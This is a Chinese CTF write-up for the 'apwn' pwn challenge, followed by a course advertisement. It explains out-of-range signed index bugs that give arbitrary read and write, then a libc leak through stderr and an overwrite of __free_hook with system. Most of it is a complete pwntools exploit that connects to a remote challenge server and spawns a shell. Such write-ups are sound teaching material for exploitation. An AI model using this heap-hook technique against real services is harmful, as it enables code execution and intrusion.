保护检测
RELRO |
STACK CANARY |
NX |
PIE |
FILE |
Full RELRO |
Canary found |
NX enabled |
PIE enabled |
apwn |
保护全开
利用点
- edit_singledog 以及 edit_luckydog 未作范围检测,再加上 read_int 返回的偏移是符号整型,以至于可以利用 edit_singledog 修改 任意指针的内容(可为负偏移),edit_luckydog 能修改 任意指针解引用指针的内容
- 从第一条所述他两组合能够 修改任意地址(一上来就这么强)
- 整个程序唯一的输出在 edit_singledog 中,可以 泄露指针的内容,但是至少要损失 1字节(必须要输入至少 1字符)
泄露 libc 地址
只能用 edit_singledog 泄露,但是要在程序镜像内找到个指针包含 libc 地址,可以选用 stderr/stdin 这2个地址,里面存放了 _IO_2_1stderr 和 _IO_2_1stdin 地址。
题目没有提供 libc 文件,所以要通过先泄露这2个地址拿到 libc 版本,可以通过 https://libc.blukat.me/ 来确定文件版本,也可以找到其他需要利用的符号。使用时填入已确定符号名和地址最后 3位。
payload 构造
由于程序开了全保护,没法改写 got plt 快速达到目的,由于在 savesingledog 中有 free 的操作,我们可以改写 \_free_hook 到 system 上达到运行 /bin/sh
代码
from pwn import *
#p = process("./apwn")
p = remote("211.159.175.39", 8686)
# 程序利用点偏移
addr_stdin = 0x202030
addr_stderr = 0x202040
addr_two = 0x202060
def create_singledog(name):
p.sendafter(">>\n", "1")
p.sendafter("Name:\n", name)
def create_luckydog(name, part):
p.sendafter(">>\n", "2")
p.sendafter("Name\n", name)
p.sendafter("name\n", part)
def edit_singledog(idx, name):
p.sendafter(">>\n", "3")
p.sendafter("which?\n", str(idx))
p.sendafter("luck.\n", name)
return p.recvuntil("1.create", drop=True)[len("new name: "):]
def edit_luckydog(idx, name, part):
p.sendafter(">>\n", "4")
p.sendafter("which?\n", str(idx))
p.sendafter("name?\n", name)
p.sendafter("name\n", part)
def save_singledog():
p.sendafter(">>\n", "5")
# 通过 edit_singledog 泄露地址
def leak_libc():
create_luckydog("1"*24, "2"*32)
print "_IO_2_1_stderr_", hex(u64(edit_singledog((addr_stderr-addr_two)/8, "A"*8)[8:].ljust(8, "\0")) - 131)
print "_IO_2_1_stdin_", hex(u64(edit_singledog((addr_stdin-addr_two)/8, "A"*8)[8:].ljust(8, "\0")) - 131)
# 已泄露的服务器地址后 3位
#leak_libc()
#_IO_2_1_stderr_ 680
#_IO_2_1_stdin_ a00
# 查询网站得到的偏移
_IO_2_1_stderr_ = 0x3ec680
__free_hook = 0x3ed8e8
_system = 0x4f440
# 我本地的偏移
# _IO_2_1_stderr_ = 0x3c5540
# __free_hook = 0x3c67a8
# _system = 0x45390
def main():
# 必须一条 singledog 来保证 save_singledog 成功
create_singledog("0"*32)
# 用来提供 __free_hook 的指针
create_luckydog("1"*24, "2"*32)
# 用来存 /bin/sh
create_luckydog("3"*24, "4"*32)
base = u64(edit_singledog((addr_stderr-addr_two)/8, "A"*8)[8:].ljust(8, "\0")) - 131 - _IO_2_1_stderr_
# +80*8 刚好是 luckydog 的数组,先改写指针为 __free_hook
edit_singledog(80, p64(base + __free_hook))
# 改写 __free_hook 的值为 system 函数
edit_luckydog(0, "1"*24, p64(base + _system))
edit_luckydog(1, "3"*24, "/bin/sh\0")
# 由于程序有随机,我们有2个 luckydog,所以脚本有 50% 可能性成功
save_singledog()
p.interactive()
main()
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法